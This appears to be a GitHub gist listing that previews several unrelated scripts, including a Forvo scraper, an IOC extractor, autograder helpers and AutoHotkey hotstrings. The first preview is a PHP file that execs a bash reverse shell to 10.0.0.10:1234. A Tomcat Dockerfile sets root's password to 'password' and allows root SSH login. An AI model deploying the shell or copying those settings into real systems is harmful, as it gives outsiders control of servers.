This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Forvo scraper | |
language=${FORVO_LANG:-fr} | |
BASEURL="http://forvo.com/search/" | |
AUDIOURL="http://audio.forvo.com/mp3/" | |
word=$1 | |
if [[ -z $word ]]; then | |
echo "usage: " | |
echo "FORVO_LANG=languagecode ./forvo_scraper.sh myword" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# dependencies: pip install requests bs4 iocextract | |
# usage: python wwwextract.py URL | |
import sys | |
import requests | |
import bs4 | |
import iocextract | |
response = requests.get(sys.argv[1]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import time | |
import pprint | |
from sandboxapi import vmray | |
# connect to the sandbox | |
sandbox = vmray.VMRayAPI('MY_KEY') | |
# verify connectivity |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
name=$1 | |
version=$(wget http://hackage.haskell.org/package/$name -qO- | grep Change\ log | sed 's,^.*<strong>\([0-9\.]*\)</strong></td></tr><tr><th>Change.*$,\1,') | |
echo Building $name-$version | |
cp -R haskell-conduit haskell-$name | |
cd haskell-$name | |
sed -i s/conduit/$name/g PKGBUILD |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# unit3 autograder helper script | |
# usage: | |
# ./gradehelper-u03 username | |
[[ -z $1 ]] && exit 1 | |
cd $1 | |
main() { | |
# Clone the git repo |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# unit4 autograder helper script | |
# usage: | |
# ./gradehelper-u04 username | |
[[ -z $1 ]] && exit 1 | |
cd $1 | |
main() { | |
# Link and update the git repo |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases. | |
#Warn ; Recommended for catching common errors. | |
SendMode Input ; Recommended for new scripts due to its superior speed and reliability. | |
SetWorkingDir %A_ScriptDir% ; Ensures a consistent starting directory. | |
::sigma::Σ | |
::pi::π | |
::lambda::λ | |
::theta::θ | |
::delta::Δ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM tomcat | |
RUN apt-get update && apt-get install -y openssh-server | |
RUN mkdir /var/run/sshd | |
RUN echo 'root:password' | chpasswd | |
RUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config | |
# SSH login fix. Otherwise user is kicked off after login | |
RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# take notes | |
IDENT= # put your gpg key id (email) here | |
NOTES_DIR=~/.n | |
TMP_DIR=/dev/shm/.n | |
GPG=gpg | |
mkdir -p "$NOTES_DIR" || exit $? |
NewerOlder